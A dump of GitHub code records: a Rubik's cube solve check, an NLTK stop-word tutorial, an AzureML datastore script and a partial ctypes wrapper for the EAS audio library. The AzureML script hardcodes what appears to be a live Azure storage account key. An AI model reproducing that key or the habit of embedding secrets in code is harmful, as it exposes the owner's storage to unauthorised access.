\"\"\"\n Checks that the rubik's cube is solved. This can mean that each face has the same numeral in the 3x3 matrix\n Uses the center pieces which shouldn't move to determine what goes where\n \"\"\"\n solved = True\n if self.__front__ != [[self.__front__[1][1] for x in range(self.__size__)] for x in range(self.__size__)]:\n solved = False\n if self.__back__ != [[self.__back__[1][1] for x in range(self.__size__)] for x in range(self.__size__)]:\n solved = False\n if self.__left__ != [[self.__left__[1][1] for x in range(self.__size__)] for x in range(self.__size__)]:\n solved = False\n if self.__right__ != [[self.__right__[1][1] for x in range(self.__size__)] for x in range(self.__size__)]:\n solved = False\n if self.__top__ != [[self.__top__[1][1] for x in range(self.__size__)] for x in range(self.__size__)]:\n solved = False\n if self.__bottom__ != [[self.__bottom__[1][1] for x in range(self.__size__)] for x in range(self.__size__)]:\n solved = False\n # If we had no issues then the cube should be solved\n return solved","repo_name":"SentientOrange/Rubiks-Cube","sub_path":"v2/cube.py","file_name":"cube.py","file_ext":"py","file_size_in_byte":9830,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"78"} +{"seq_id":"24703848449","text":"# Filtering Stop Words\n# https://realpython.com/nltk-nlp-python/#filtering-stop-words\n\n# Stop words are words that you want to ignore, so you filter them out of your text when you’re processing it.\n\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize\n\nexample_sentence = \"Here's to the crazy ones, the misfits, the rebels, the troublemakers, the round pegs in the square holes.\"\nwords = word_tokenize(example_sentence)\nprint(words)\n\n# The next step is to create a set of stop words to filter example_sentences\nstop_words = set(stopwords.words('english'))\n\n# Create an empty list to hold the words that make it past the filter. All the words in 'words' that aren't stop words.\nfiltered_list = []\n\n# Iterates over 'words' with a for loop and adds all the words that aren't stop words to filtered_list.\nfor word in words:\n # Use .casefold() on 'word' to ignore whether the letters in word are uppercase or lowercase.\n # This is worth doing because stopwords.words('english') includes only lowercase versions of stop words.\n if word.casefold() not in stop_words:\n filtered_list.append(word)\n\nprint(filtered_list)\n\n# Alternatively, using list comprehensions:\n# https://realpython.com/list-comprehension-python/#using-list-comprehensions\n# new_list = [expression for member in iterable]\n# Example of list comprehension:\n# squares = [i * i for i in range(10)]\nfiltered_list2 = [word for word in words if word.casefold() not in stop_words]\nprint(filtered_list2)\n\nprint(filtered_list == filtered_list2) # Both filtered lists have the same elements so it evaluates to True\n","repo_name":"lailacampos/Natural-Language-Processing-Course","sub_path":"filtering_stop_words.py","file_name":"filtering_stop_words.py","file_ext":"py","file_size_in_byte":1604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42913916367","text":"# Import the workspace and Datastore class\nfrom azureml.core import Workspace, Datastore\n\n# Access the workspace from the config.json\nws = Workspace.from_config(path=\"./config\")\n\n# Create a datastore\naz_store = Datastore.register_azure_blob_container(\n workspace=ws,\n datastore_name=\"azure_sdk_blob01\",\n account_name=\"azuremlopsst\",\n container_name=\"azuremlblob\",\n account_key=\"Lxyp9KRBXFNKOdHcfNoOVR9FJDJLVw1vPhPGYbJb+23xjuHKdBYYFVTItPqW+P66DB5dMYmyrmGZSJM17KYfZw==\"\n)","repo_name":"nilaychauhan/Loan-Prediction-Using-AzureML-SDK","sub_path":"create_datastore.py","file_name":"create_datastore.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"36083853102","text":"\r\nfrom __future__ import with_statement\r\n\r\nimport threading\r\nimport logging\r\nimport time\r\nfrom ctypes import *\r\nfrom JetUtils import OsWindows\r\n\r\n\r\n# stream state \r\nEAS_STATE_READY = 0\r\nEAS_STATE_PLAY = 1\r\nEAS_STATE_STOPPING = 2\r\nEAS_STATE_PAUSING = 3\r\nEAS_STATE_STOPPED = 4\r\nEAS_STATE_PAUSED = 5\r\nEAS_STATE_OPEN = 6\r\nEAS_STATE_ERROR = 7\r\nEAS_STATE_EMPTY = 8\r\n\r\n# EAS error codes\r\nEAS_SUCCESS\t= 0\r\nEAS_FAILURE = -1\r\nEAS_ERROR_INVALID_MODULE = -2\r\nEAS_ERROR_MALLOC_FAILED = -3\r\nEAS_ERROR_FILE_POS = -4\r\nEAS_ERROR_INVALID_FILE_MODE = -5\r\nEAS_ERROR_FILE_SEEK = -6\r\nEAS_ERROR_FILE_LENGTH = -7\r\nEAS_ERROR_NOT_IMPLEMENTED = -8\r\nEAS_ERROR_CLOSE_FAILED = -9\r\nEAS_ERROR_FILE_OPEN_FAILED = -10\r\nEAS_ERROR_INVALID_HANDLE = -11\r\nEAS_ERROR_NO_MIX_BUFFER = -12\r\nEAS_ERROR_PARAMETER_RANGE = -13\r\nEAS_ERROR_MAX_FILES_OPEN = -14\r\nEAS_ERROR_UNRECOGNIZED_FORMAT = -15\r\nEAS_BUFFER_SIZE_MISMATCH = -16\r\nEAS_ERROR_FILE_FORMAT = -17\r\nEAS_ERROR_SMF_NOT_INITIALIZED = -18\r\nEAS_ERROR_LOCATE_BEYOND_END = -19\r\nEAS_ERROR_INVALID_PCM_TYPE = -20\r\nEAS_ERROR_MAX_PCM_STREAMS = -21\r\nEAS_ERROR_NO_VOICE_ALLOCATED = -22\r\nEAS_ERROR_INVALID_CHANNEL = -23\r\nEAS_ERROR_ALREADY_STOPPED = -24\r\nEAS_ERROR_FILE_READ_FAILED = -25\r\nEAS_ERROR_HANDLE_INTEGRITY = -26\r\nEAS_ERROR_MAX_STREAMS_OPEN = -27\r\nEAS_ERROR_INVALID_PARAMETER = -28\r\nEAS_ERROR_FEATURE_NOT_AVAILABLE = -29\r\nEAS_ERROR_SOUND_LIBRARY = -30\r\nEAS_ERROR_NOT_VALID_IN_THIS_STATE = -31\r\nEAS_ERROR_NO_VIRTUAL_SYNTHESIZER = -32\r\nEAS_ERROR_FILE_ALREADY_OPEN = -33\r\nEAS_ERROR_FILE_ALREADY_CLOSED = -34\r\nEAS_ERROR_INCOMPATIBLE_VERSION = -35\r\nEAS_ERROR_QUEUE_IS_FULL = -36\r\nEAS_ERROR_QUEUE_IS_EMPTY = -37\r\nEAS_ERROR_FEATURE_ALREADY_ACTIVE = -38\r\n\r\n# special result codes\r\nEAS_EOF = 3\r\nEAS_STREAM_BUFFERING = 4\r\n\r\n# buffer full error returned from Render\r\nEAS_BUFFER_FULL = 5\r\n\r\n# file types\r\nfile_types = (\r\n\t'Unknown',\r\n\t'SMF Type 0 (.mid)',\r\n\t'SMF Type 1 (.mid)',\r\n\t'SMAF - Unknown type (.mmf)',\r\n\t'SMAF MA-2 (.mmf)',\r\n\t'SMAF MA-3 (.mmf)',\r\n\t'SMAF MA-5 (.mmf)',\r\n\t'CMX/QualComm (.pmd)',\r\n\t'MFi (NTT/DoCoMo i-mode)',\r\n\t'OTA/Nokia (.ott)',\r\n\t'iMelody (.imy)',\r\n\t'RTX/RTTTL (.rtx)',\r\n\t'XMF Type 0 (.xmf)',\r\n\t'XMF Type 1 (.xmf)',\r\n\t'WAVE/PCM (.wav)',\r\n\t'WAVE/IMA-ADPCM (.wav)',\r\n\t'MMAPI Tone Control (.js)'\r\n)\r\n\r\nstream_states = (\r\n\t'Ready',\r\n\t'Play',\r\n\t'Stopping',\r\n\t'Stopped',\r\n\t'Pausing',\r\n\t'Paused',\r\n\t'Open',\r\n\t'Error',\r\n\t'Empty'\r\n)\r\n\r\n# iMode play modes\r\nIMODE_PLAY_ALL = 0\r\nIMODE_PLAY_PARTIAL = 1\r\n\r\n# callback type for metadata\r\nEAS_METADATA_CBFUNC = CFUNCTYPE(c_int, c_int, c_char_p, c_ulong)\r\n\r\n# callbacks for external audio\r\nEAS_EXT_PRG_CHG_FUNC = CFUNCTYPE(c_int, c_void_p, c_void_p)\r\nEAS_EXT_EVENT_FUNC = CFUNCTYPE(c_int, c_void_p, c_void_p)\r\n\r\n# callback for aux mixer decoder\r\nEAS_DECODER_FUNC = CFUNCTYPE(c_void_p, c_void_p, c_int, c_int)\r\n\r\n# DLL path\r\nif OsWindows():\r\n\tEAS_DLL_PATH = \"EASDLL.dll\"\r\nelse:\r\n\tEAS_DLL_PATH = \"libEASLIb.dylib\"\r\n\r\neas_dll = None\r\n\r\n# logger\r\neas_logger = None\r\n\r\n#---------------------------------------------------------------\r\n# InitEASModule\r\n#---------------------------------------------------------------\r\ndef InitEASModule (dll_path=None):\r\n\tglobal eas_dll\r\n\tglobal eas_logger\r\n\r\n\t\r\n\t# initialize logger\r\n\tif eas_logger is None:\r\n\t\teas_logger = logging.getLogger('EAS')\r\n\r\n\t# initialize path to DLL\r\n\tif dll_path is None:\r\n\t\tdll_path=EAS_DLL_PATH\r\n\r\n\t# intialize DLL\r\n\tif eas_dll is None:\r\n\t\teas_dll = cdll.LoadLibrary(dll_path)\r\n\r\n#---------------------------------------------------------------\r\n# S_JET_CONFIG\r\n#---------------------------------------------------------------\r\nclass S_JET_CONFIG (Structure):\r\n\t_fields_ = [('appLowNote', c_ubyte)]\r\n\r\n#---------------------------------------------------------------\r\n# S_EXT_AUDIO_PRG_CHG \r\n#---------------------------------------------------------------\r\nclass S_EXT_AUDIO_PRG_CHG (Structure):\r\n\t_fields_ = [('bank', c_ushort),\r\n\t\t\t\t('program', c_ubyte),\r\n\t\t\t\t('channel', c_ubyte)]\r\n\r\n#---------------------------------------------------------------\r\n# S_EXT_AUDIO_EVENT \r\n#---------------------------------------------------------------\r\nclass S_EXT_AUDIO_EVENT (Structure):\r\n\t_fields_ = [('channel', c_ubyte),\r\n\t\t\t\t('note', c_ubyte),\r\n\t\t\t\t('velocity', c_ubyte),\r\n\t\t\t\t('noteOn', c_ubyte)]\r\n\r\n#---------------------------------------------------------------\r\n# S_MIDI_CONTROLLERS \r\n#---------------------------------------------------------------\r\nclass S_MIDI_CONTROLLERS (Structure):\r\n\t_fields_ = [('modWheel', c_ubyte),\r\n\t\t\t\t('volume', c_ubyte),\r\n\t\t\t\t('pan', c_ubyte),\r\n\t\t\t\t('expression', c_ubyte),\r\n\t\t\t\t('channelPressure', c_ubyte)]\r\n\r\n#---------------------------------------------------------------\r\n# WAVEFORMAT \r\n#---------------------------------------------------------------\r\nclass WAVEFORMAT (Structure):\r\n\t_fields_ = [('wFormatTag', c_ushort),\r\n\t\t\t\t('nChannels', c_ushort),\r\n\t\t\t\t('nSamplesPerSec', c_ulong),\r\n\t\t\t\t('nAvgBytesPerSec', c_ulong),\r\n\t\t\t\t('nBlockAlign', c_ushort),\r\n\t\t\t\t('wBitsPerSample', c_ushort)]\r\n\r\n#---------------------------------------------------------------\r\n# EAS_Exception \r\n#---------------------------------------------------------------\r\nclass EAS_Exception (Exception):\r\n\tdef __init__ (self, result_code, msg, function=None):\r\n\t\tself.msg = msg\r\n\t\tself.result_code = result_code\r\n\t\tself.function = function\r\n\tdef __str__ (self):\r\n\t\treturn self.msg\r\n\r\n#---------------------------------------------------------------\r\n# Log callback function\r\n#---------------------------------------------------------------\r\n# map EAS severity levels to the Python logging module\r\nseverity_mapping = (logging.CRITICAL, logging.CRITICAL, logging.ERROR, logging.WARNING, logging.INFO, logging.DEBUG)\r\nLOG_FUNC_TYPE = CFUNCTYPE(c_int, c_int, c_char_p)\r\ndef Log (level, msg):\r\n\teas_logger.log(severity_mapping[level], msg)\r\n\treturn level\r\nLogCallback = LOG_FUNC_TYPE(Log)\r\n\r\n#---------------------------------------------------------------\r\n# EAS_Stream\r\n#---------------------------------------------------------------\r\nclass EAS_Stream (object):\r\n\tdef __init__ (self, handle, eas):\r\n\t\teas_logger.debug('EAS_Stream.__init__')\r\n\t\tself.handle = handle\r\n\t\tself.eas = eas\r\n\r\n\tdef SetVolume (self, volume):\r\n\t\t\"\"\"Set the stream volume\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetVolume: volume=%d' % volume)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_SetVolume(self.eas.handle, self.handle, volume)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetVolume error %d on file %s' % (result, self.path), 'EAS_SetVolume')\r\n\r\n\tdef GetVolume (self):\r\n\t\t\"\"\"Get the stream volume.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetVolume')\r\n\t\twith self.eas.lock:\r\n\t\t\tvolume = eas_dll.EAS_GetVolume(self.eas.handle, self.handle)\r\n\t\t\tif volume < 0:\r\n\t\t\t\traise EAS_Exception(volume, 'EAS_GetVolume error %d on file %s' % (volume, self.path), 'EAS_GetVolume')\r\n\t\teas_logger.debug('EAS_GetVolume: volume=%d' % volume)\r\n\t\treturn volume\r\n\r\n\tdef SetPriority (self, priority):\r\n\t\t\"\"\"Set the stream priority\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetPriority: priority=%d' % priority)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_SetPriority(self.eas.handle, self.handle, priority)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetPriority error %d on file %s' % (result, self.path), 'EAS_SetPriority')\r\n\r\n\tdef GetPriority (self):\r\n\t\t\"\"\"Get the stream priority.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetPriority')\r\n\t\tpriority = c_int(0)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_GetPriority(self.eas.handle, self.handle, byref(priority))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetPriority error %d on file %s' % (result, self.path), 'EAS_GetPriority')\r\n\t\teas_logger.debug('EAS_GetPriority: priority=%d' % priority.value)\r\n\t\treturn priority.value\r\n\r\n\tdef SetTransposition (self, transposition):\r\n\t\t\"\"\"Set the transposition of a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetTransposition: transposition=%d' % transposition)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_SetTransposition(self.eas.handle, self.handle, transposition)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetTransposition error %d on file %s' % (result, self.path), 'EAS_SetTransposition')\r\n\r\n\tdef SetPolyphony (self, polyphony):\r\n\t\t\"\"\"Set the polyphony of a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetPolyphony: polyphony=%d' % polyphony)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_SetPolyphony(self.eas.handle, self.handle, polyphony)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetPolyphony error %d on file %s' % (result, self.path), 'EAS_SetPolyphony')\r\n\r\n\tdef GetPolyphony (self):\r\n\t\t\"\"\"Get the polyphony of a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetPolyphony')\r\n\t\tpolyphony = c_int(0)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_GetPolyphony(self.eas.handle, self.handle, byref(polyphony))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetPolyphony error %d on file %s' % (result, self.path), 'EAS_GetPolyphony')\r\n\t\teas_logger.debug('EAS_SetPolyphony: polyphony=%d' % polyphony.value)\r\n\t\treturn polyphony.value\r\n\r\n\tdef SelectLib (self, test_lib=False):\r\n\t\teas_logger.debug('Call EAS_SelectLib: test_lib=%s' % test_lib)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_SelectLib(self.eas.handle, self.handle, test_lib)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SelectLib error %d on file %s' % (result, self.path), 'EAS_SelectLib')\r\n\r\n\tdef LoadDLSCollection (self, path):\r\n\t\teas_logger.debug('Call EAS_LoadDLSCollection: lib_path=%d' % path)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_LoadDLSCollection(self.eas.handle, self.handle, path)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_LoadDLSCollection error %d on file %s lib %s' % (result, self.path, path), 'EAS_LoadDLSCollection')\r\n\r\n\tdef RegExtAudioCallback (self, user_data, prog_chg_func, event_func):\r\n\t\t\"\"\"Register an external audio callback.\"\"\"\r\n\t\teas_logger.debug('Call EAS_RegExtAudioCallback')\r\n\t\tif prog_chg_func is not None:\r\n\t\t\tprog_chg_func = EAS_EXT_PRG_CHG_FUNC(prog_chg_func)\r\n\t\telse:\r\n\t\t\tprog_chg_func = 0\r\n\t\tif event_func is not None:\r\n\t\t\tevent_func = EAS_EXT_EVENT_FUNC(event_func)\r\n\t\telse:\r\n\t\t\tevent_func = 0\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_RegExtAudioCallback(self.eas.handle, self.handle, user_data, prog_chg_func, event_func)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_RegExtAudioCallback error %d on file %s' % (result, self.path), 'EAS_RegExtAudioCallback')\r\n\r\n\tdef SetPlayMode (self, play_mode):\r\n\t\t\"\"\"Set play mode on a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetPlayMode: play_mode=%d' % play_mode)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_SetPlayMode(self.eas.handle, self.handle, play_mode)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetPlayMode error %d on file %s' % (result, self.path), 'EAS_SetPlayMode')\r\n\r\n\"\"\"\r\nEAS_PUBLIC EAS_RESULT EAS_GetMIDIControllers (EAS_DATA_HANDLE pEASData, EAS_HANDLE streamHandle, EAS_U8 channel, S_MIDI_CONTROLLERS *pControl);\r\n\"\"\"\r\n\r\n#---------------------------------------------------------------\r\n# EAS_File\r\n#---------------------------------------------------------------\r\nclass EAS_File (EAS_Stream):\r\n\tdef __init__ (self, path, handle, eas):\r\n\t\tEAS_Stream.__init__(self, handle, eas)\r\n\t\teas_logger.debug('EAS_File.__init__')\r\n\t\tself.path = path\r\n\t\tself.prepared = False\r\n\r\n\tdef Prepare (self):\r\n\t\t\"\"\"Prepare an audio file for playback\"\"\"\r\n\t\tif self.prepared:\r\n\t\t\teas_logger.warning('Prepare already called on file %s' % self.path)\r\n\t\telse:\r\n\t\t\twith self.eas.lock:\r\n\t\t\t\teas_logger.debug('Call EAS_Prepare for file: %s' % self.path)\r\n\t\t\t\tresult = eas_dll.EAS_Prepare(self.eas.handle, self.handle)\r\n\t\t\t\tif result:\r\n\t\t\t\t\traise EAS_Exception(result, 'EAS_Prepare error %d on file %s' % (result, self.path), 'EAS_Prepare')\r\n\t\t\t\tself.prepared = True\r\n\r\n\tdef State (self):\r\n\t\t\"\"\"Get stream state.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\teas_logger.debug('Call EAS_State for file: %s' % self.path)\r\n\t\t\tstate = c_long(-1)\r\n\t\t\tresult = eas_dll.EAS_State(self.eas.handle, self.handle, byref(state))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_State error %d on file %s' % (result, self.path), 'EAS_State')\r\n\t\t\teas_logger.debug('EAS_State: file=%s, state=%s' % (self.path, stream_states[state.value]))\r\n\t\t\treturn state.value\r\n\r\n\tdef Close (self):\r\n\t\t\"\"\"Close audio file.\"\"\"\r\n\t\tif hasattr(self, 'handle'):\r\n\t\t\twith self.eas.lock:\r\n\t\t\t\teas_logger.debug('Call EAS_CloseFile for file: %s' % self.path)\r\n\t\t\t\tresult = eas_dll.EAS_CloseFile(self.eas.handle, self.handle)\r\n\t\t\t\tif result:\r\n\t\t\t\t\traise EAS_Exception(result, 'EAS_CloseFile error %d on file %s' % (result, self.path), 'EAS_CloseFile')\r\n\r\n\t\t\t\t# remove file from the EAS object\r\n\t\t\t\tself.eas.audio_streams.remove(self)\r\n\t\t\t\t\r\n\t\t\t# clean up references\r\n\t\t\tdel self.handle\r\n\t\t\tdel self.eas\r\n\t\t\tdel self.path\r\n\r\n\tdef Pause (self):\r\n\t\t\"\"\"Pause a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_Pause')\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_Pause(self.eas.handle, self.handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_Pause error %d on file %s' % (result, self.path), 'EAS_Pause')\r\n\r\n\tdef Resume (self):\r\n\t\t\"\"\"Resume a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_Resume')\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_Resume(self.eas.handle, self.handle)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_Resume error %d on file %s' % (result, self.path), 'EAS_Resume')\r\n\r\n\tdef Locate (self, secs, offset=False):\r\n\t\t\"\"\"Set the playback position of a stream in seconds.\"\"\"\r\n\t\teas_logger.debug('Call EAS_Locate: location=%.3f, relative=%s' % (secs, offset))\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_Locate(self.eas.handle, self.handle, int(secs * 1000 + 0.5), offset)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_Locate error %d on file %s' % (result, self.path), 'EAS_Locate')\r\n\r\n\tdef GetLocation (self):\r\n\t\t\"\"\"Get the stream location in seconds.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetLocation')\r\n\t\tmsecs = c_int(0)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_GetLocation(self.eas.handle, self.handle, byref(msecs))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetLocation error %d on file %s' % (result, self.path), 'EAS_GetLocation')\r\n\t\tmsecs = float(msecs.value) / 1000 \r\n\t\teas_logger.debug('EAS_GetLocation: location=%.3f' % msecs)\r\n\t\treturn msecs\r\n\r\n\tdef GetFileType (self):\r\n\t\t\"\"\"Get the file type.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetFileType')\r\n\t\tfile_type = c_int(0)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_GetFileType(self.eas.handle, self.handle, byref(file_type))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetFileType error %d on file %s' % (result, self.path), 'EAS_GetFileType')\r\n\t\tfile_type = file_type.value\r\n\t\tif file_type < len(file_types):\r\n\t\t\tfile_desc = file_types[file_type]\r\n\t\telse:\r\n\t\t\tfile_desc = 'Unrecognized type %d' % file_type\r\n\t\teas_logger.debug('EAS_GetFileType: type=%d, desc=%s' % (file_type, file_desc))\r\n\t\treturn (file_type, file_desc)\r\n\r\n\tdef SetRepeat (self, count):\r\n\t\t\"\"\"Set the repeat count of a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetRepeat: count=%d' % count)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_SetRepeat(self.eas.handle, self.handle, count)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetRepeat error %d on file %s' % (result, self.path), 'EAS_SetRepeat')\r\n\r\n\tdef GetRepeat (self):\r\n\t\t\"\"\"Get the repeat count of a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetRepeat')\r\n\t\tcount = c_int(0)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_GetRepeat(self.eas.handle, self.handle, byref(count))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetRepeat error %d on file %s' % (result, self.path), 'EAS_GetRepeat')\r\n\t\teas_logger.debug('EAS_GetRepeat: count=%d' % count.value)\r\n\t\treturn count.value\r\n\r\n\tdef SetPlaybackRate (self, rate):\r\n\t\t\"\"\"Set the playback rate of a stream.\"\"\"\r\n\t\teas_logger.debug('Call EAS_SetPlaybackRate')\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_SetPlaybackRate(self.eas.handle, self.handle, rate)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_SetPlaybackRate error %d on file %s' % (result, self.path), 'EAS_SetPlaybackRate')\r\n\r\n\tdef ParseMetaData (self):\r\n\t\t\"\"\"Parse the metadata in a file.\"\"\"\r\n\t\teas_logger.debug('Call EAS_ParseMetaData')\r\n\t\tlength = c_int(0)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_ParseMetaData(self.eas.handle, self.handle, byref(length))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_ParseMetaData error %d on file %s' % (result, self.path), 'EAS_ParseMetaData')\r\n\t\treturn float(length.value) / 1000.0\r\n\r\n\tdef RegisterMetaDataCallback (self, func, buf, buf_size, user_data):\r\n\t\t\"\"\"Register a metadata callback.\"\"\"\r\n\t\teas_logger.debug('Call EAS_RegisterMetaDataCallback')\r\n\t\twith self.eas.lock:\r\n\t\t\tif func is not None:\r\n\t\t\t\tcallback = EAS_METADATA_CBFUNC(func)\r\n\t\t\telse:\r\n\t\t\t\tcallback = 0\r\n\t\t\tresult = eas_dll.EAS_RegisterMetaDataCallback(self.eas.handle, self.handle, callback, buf, buf_size, user_data)\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_RegisterMetaDataCallback error %d on file %s' % (result, self.path), 'EAS_RegisterMetaDataCallback')\r\n\r\n\tdef GetWaveFmtChunk (self):\r\n\t\t\"\"\"Get the file type.\"\"\"\r\n\t\teas_logger.debug('Call EAS_GetWaveFmtChunk')\r\n\t\twave_fmt_chunk = c_void_p(0)\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_GetWaveFmtChunk(self.eas.handle, self.handle, byref(wave_fmt_chunk))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_GetWaveFmtChunk error %d on file %s' % (result, self.path), 'EAS_GetWaveFmtChunk')\r\n\t\treturn cast(wave_fmt_chunk, POINTER(WAVEFORMAT)).contents\r\n\r\n\tdef Play (self, max_time=None):\r\n\t\t\"\"\"Plays the file to the end or max_time.\"\"\"\r\n\t\teas_logger.debug('EAS_File.Play')\r\n\t\tif not self.prepared:\r\n\t\t\tself.Prepare()\r\n\t\tif max_time is not None:\r\n\t\t\tmax_time += self.eas.GetRenderTime()\r\n\t\twhile self.State() not in (EAS_STATE_STOPPED, EAS_STATE_ERROR, EAS_STATE_EMPTY):\r\n\t\t\tself.eas.Render()\r\n\t\t\tif max_time is not None:\r\n\t\t\t\tif self.eas.GetRenderTime() >= max_time:\r\n\t\t\t\t\teas_logger.info('Max render time exceeded - stopping playback')\r\n\t\t\t\t\tself.Pause()\r\n\t\t\t\t\tself.eas.Render()\r\n\t\t\t\t\tbreak\r\n\r\n#---------------------------------------------------------------\r\n# EAS_MIDIStream\r\n#---------------------------------------------------------------\r\nclass EAS_MIDIStream (EAS_Stream):\r\n\tdef Write(self, data):\r\n\t\t\"\"\"Write data to MIDI stream.\"\"\"\r\n\t\twith self.eas.lock:\r\n\t\t\tresult = eas_dll.EAS_WriteMIDIStream(self.eas.handle, self.handle, data, len(data))\r\n\t\t\tif result:\r\n\t\t\t\traise EAS_Exception(result, 'EAS_WriteMIDIStream error %d' % result, 'EAS_WriteMIDIStream')\r\n\r\n\tdef Close (self):\r\n\t\t\"\"\"Close MIDI stream.\"\"\"\r\n\t\tif hasattr(self, 'handle'):\r\n\t\t\twith self.eas.lock:\r\n\t\t\t\teas_logger.debug('Call EAS_CloseMIDIStream')\r\n\t\t\t\tresult = eas_dll.EAS_CloseMIDIStream(self.eas.handle, self.handle)\r\n\t\t\t\tif result:\r\n\t\t\t\t\traise EAS_Exception(result, 'EAS_CloseFile error %d' % result, 'EAS_CloseMIDIStream')\r\n\r\n\t\t\t\t# remove file from the EAS object\r\n\t\t\t\tself.eas.audio_streams.remove(self)\r\n\t\t\t\t\r\n\t\t\t# clean up references\r\n\t\t\tdel self.handle\r\n\t\t\tdel self.eas\r\n\r\n#---------------------------------------------------------------\r\n# EAS_Config \r\n#---------------------------------------------------------------\r\nclass EAS_Config (Structure):\r\n\t_fields_ = [('libVersion', c_ulong),\r\n\t\t\t\t('checkedVersion', c_int),\r\n\t\t\t\t('maxVoices', c_long),\r\n\t\t\t\t('numChannels', c_long),\r\n\t\t\t\t('sampleRate', c_long),\r\n\t\t\t\t('mixBufferSize', c_long),\r\n\t\t\t\t('filterEnabled', c_int),\r\n\t\t\t\t('buildTimeStamp', c_ulong),\r\n\t\t\t\t('buildGUID', c_char_p)]\r\n\r\n#---------------------------------------------------------------\r\n# EAS\r\n#---------------------------------------------------------------\r\nclass EAS (object):\r\n\tdef __init__ (self, handle=None, dll_path=None, log_file=None):\r\n\t\tif eas_dll is None:\r\n\t\t\tInitEASModule(dll_path)\r\n\t\tif log_file is not None:\r\n\t\t\teas_logger.addHandler(log_file)\r\n\t\teas_logger.debug('EAS.__init__')\r\n\t\tself.Init(handle)\r\n\r\n\tdef __del__ (self):\r\n\t\teas_logger.debug('EAS.__del__')\r\n\t\tself.Shutdown()\r\n\r\n\tdef Init (self, handle=None):\r\n\t\t\"\"\"Initializes the EAS Library.\"\"\"\r\n\t\teas_logger.debug('EAS.Init')\r\n\r\n\t\t# if we are already initialized, shutdown first\r\n\t\tif hasattr(self, 'handle'):\r\n\t\t\teas_logger.debug('EAS.Init called with library already initalized')\r\n\t\t\tself.ShutDown()\r\n\r\n\t\t# setup the logging function\r\n\t\teas_dll.SetLogCallback(LogCallback)\r\n\r\n\t\t# create some members\r\n\t\tself.handle = c_void_p(0)\r\n\t\tself.audio_streams = []\r\n\t\tself.output_streams = []\r\n\t\tself.aux_mixer = 